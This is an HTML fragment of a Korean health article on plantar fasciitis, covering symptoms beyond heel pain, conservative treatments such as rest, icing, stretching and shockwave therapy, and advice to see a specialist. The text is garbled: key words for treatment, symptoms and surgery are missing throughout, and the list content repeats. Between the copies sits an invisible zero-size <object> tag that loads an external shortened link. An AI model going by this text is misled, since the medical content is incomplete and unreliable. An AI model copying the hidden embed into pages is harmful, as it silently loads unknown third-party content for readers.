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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">족저근막염 방법 및 발바닥 통증 이외 </h2><p data-sourcepos="3:1-3:125">족저근막염은 발바닥에 찌르는 듯한 통증을 유발하는 흔한 입니다. 특히 아침에 첫 발을 디딜 때 통증이 심하며, 활동을 시작하면 점차 완화되는 경향이 있습니다. 하지만 발바닥 통증 외에도 다양한 이 나타날 수 있습니다.</p><h3 data-sourcepos="5:1-5:17">발바닥 통증 이외의 </h3><ul data-sourcepos="7:1-13:0">
<li data-sourcepos="7:1-7:46"><strong>발목 통증:</strong> 족저근막과 연결된 발목 부위에도 통증이 나타날 수 있습니다.</li>
<li data-sourcepos="8:1-8:64"><strong>종아리 통증:</strong> 족저근막과 종아리 근육이 연결되어 있기 때문에 종아리 뻐근함이나 통증을 느낄 수 있습니다.</li>
<li data-sourcepos="9:1-9:62"><strong>무릎 통증:</strong> 족저근막염으로 인해 걸음걸이가 변하면서 무릎에 부담이 가해져 통증이 발생할 수 있습니다.</li>
<li data-sourcepos="10:1-10:53"><strong>허리 통증:</strong> 자세 변화로 인해 허리에 부담이 가해져 허리 통증이 발생할 수 있습니다.</li>
<li data-sourcepos="11:1-11:34"><strong>발바닥 압통:</strong> 족저근막을 누르면 압통이 느껴집니다.</li>
<li data-sourcepos="12:1-13:0"><strong>발바닥 부종:</strong> 염증 반응으로 인해 발바닥이 부을 수 있습니다.</li>
</ul><h3 data-sourcepos="14:1-14:15">족저근막염 방법</h3><p data-sourcepos="16:1-16:39">족저근막염 는 크게 보존적 와 적 로 나눌 수 있습니다.</p><p data-sourcepos="18:1-18:10"><strong>보존적 </strong></p><ul data-sourcepos="20:1-27:0">
<li data-sourcepos="20:1-20:42"><strong>휴식:</strong> 발에 무리를 주는 활동을 자제하고 충분히 휴식을 취합니다.</li>
<li data-sourcepos="21:1-21:38"><strong>냉찜질:</strong> 염증 완화를 위해 통증 부위에 냉찜질을 해줍니다.</li>
<li data-sourcepos="22:1-22:44"><strong>스트레칭:</strong> 족저근막 스트레칭을 꾸준히 실시하여 근육을 이완시켜줍니다.</li>
<li data-sourcepos="23:1-23:48"><strong>약물 :</strong> 비스테로이드성 소염진통제를 복용하여 통증과 염증을 완화시킵니다.</li>
<li data-sourcepos="24:1-24:44"><strong>보조기 착용:</strong> 밤에 족저근막 보조기를 착용하여 족저근막을 늘려줍니다.</li>
<li data-sourcepos="25:1-25:49"><strong>체외충격파 :</strong> 손상된 조직 재생을 촉진시키는 체외충격파 를 시행합니다.</li>
<li data-sourcepos="26:1-27:0"><strong>물리:</strong> 전기, 초음파 등을 통해 통증을 완화하고 기능 회복을 돕습니다.</li>
</ul><p data-sourcepos="28:1-28:10"><strong>적 </strong></p><p data-sourcepos="30:1-30:72">보존적 에도 불구하고 통증이 지속될 경우 을 고려할 수 있습니다. 은 족저근막을 하거나 늘리는 방법으로 진행됩니다.</p><h3 data-sourcepos="32:1-32:9">중요한 점</h3><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:33">족저근막염은 조기에 하면 빠르게 회복될 수 있습니다.</li>
<li data-sourcepos="35:1-35:68">통증이 심하거나 일상생활에 지장을 줄 정도라면 병원을 방문하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</li>
<li data-sourcepos="36:1-37:0">와 함께 생활 습관 개선, 적절한 운동, 편안한 신발 착용 등이 필요합니다.</li>
</ul><p data-sourcepos="38:1-38:87"><strong>주의:</strong> 위 정보는 일반적인 정보이며, 개인의 에 따라 방법이 달라질 수 있습니다. 한 진단과 는 전문의와 상담 후 결정해야 합니다.</p><p data-sourcepos="40:1-40:55"><strong>참고:</strong> 족저근막염에 대한 더 자세한 정보는 질병관리청 건강정보포털 등을 참고하시기 바랍니다.</p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:46"><strong>발목 통증:</strong> 족저근막과 연결된 발목 부위에도 통증이 나타날 수 있습니다.</li>
<li data-sourcepos="8:1-8:64"><strong>종아리 통증:</strong> 족저근막과 종아리 근육이 연결되어 있기 때문에 종아리 뻐근함이나 통증을 느낄 수 있습니다.</li>
<li data-sourcepos="9:1-9:62"><strong>무릎 통증:</strong> 족저근막염으로 인해 걸음걸이가 변하면서 무릎에 부담이 가해져 통증이 발생할 수 있습니다.</li>
<li data-sourcepos="10:1-10:53"><strong>허리 통증:</strong> 자세 변화로 인해 허리에 부담이 가해져 허리 통증이 발생할 수 있습니다.</li>
<li data-sourcepos="11:1-11:34"><strong>발바닥 압통:</strong> 족저근막을 누르면 압통이 느껴집니다.</li>
<li data-sourcepos="12:1-13:0"><strong>발바닥 부종:</strong> 염증 반응으로 인해 발바닥이 부을 수 있습니다.</li>
</ul><h3 data-sourcepos="14:1-14:15">족저근막염 방법</h3><p data-sourcepos="16:1-16:39">족저근막염 는 크게 보존적 와 적 로 나눌 수 있습니다.</p><p data-sourcepos="18:1-18:10"><strong>보존적 </strong></p><ul data-sourcepos="20:1-27:0">
<li data-sourcepos="20:1-20:42"><strong>휴식:</strong> 발에 무리를 주는 활동을 자제하고 충분히 휴식을 취합니다.</li>
<li data-sourcepos="21:1-21:38"><strong>냉찜질:</strong> 염증 완화를 위해 통증 부위에 냉찜질을 해줍니다.</li>
<li data-sourcepos="22:1-22:44"><strong>스트레칭:</strong> 족저근막 스트레칭을 꾸준히 실시하여 근육을 이완시켜줍니다.</li>
<li data-sourcepos="23:1-23:48"><strong>약물 :</strong> 비스테로이드성 소염진통제를 복용하여 통증과 염증을 완화시킵니다.</li>
<li data-sourcepos="24:1-24:44"><strong>보조기 착용:</strong> 밤에 족저근막 보조기를 착용하여 족저근막을 늘려줍니다.</li>
<li data-sourcepos="25:1-25:49"><strong>체외충격파 :</strong> 손상된 조직 재생을 촉진시키는 체외충격파 를 시행합니다.</li>
<li data-sourcepos="26:1-27:0"><strong>물리:</strong> 전기, 초음파 등을 통해 통증을 완화하고 기능 회복을 돕습니다.</li>
</ul><p data-sourcepos="28:1-28:10"><strong>적 </strong></p><p data-sourcepos="30:1-30:72">보존적 에도 불구하고 통증이 지속될 경우 을 고려할 수 있습니다. 은 족저근막을 하거나 늘리는 방법으로 진행됩니다.</p><h3 data-sourcepos="32:1-32:9">중요한 점</h3><ul data-sourcepos="34:1-37:0">
<li data-sourcepos="34:1-34:33">족저근막염은 조기에 하면 빠르게 회복될 수 있습니다.</li>
<li data-sourcepos="35:1-35:68">통증이 심하거나 일상생활에 지장을 줄 정도라면 병원을 방문하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</li>
<li data-sourcepos="36:1-37:0">와 함께 생활 습관 개선, 적절한 운동, 편안한 신발 착용 등이 필요합니다.</li>
</ul><p data-sourcepos="38:1-38:87"><strong>주의:</strong> 위 정보는 일반적인 정보이며, 개인의 에 따라 방법이 달라질 수 있습니다. 한 진단과 는 전문의와 상담 후 결정해야 합니다.</p><p data-sourcepos="40:1-40:55"><strong>참고:</strong> 족저근막염에 대한 더 자세한 정보는 질병관리청 건강정보포털 등을 참고하시기 바랍니다.</p></div>
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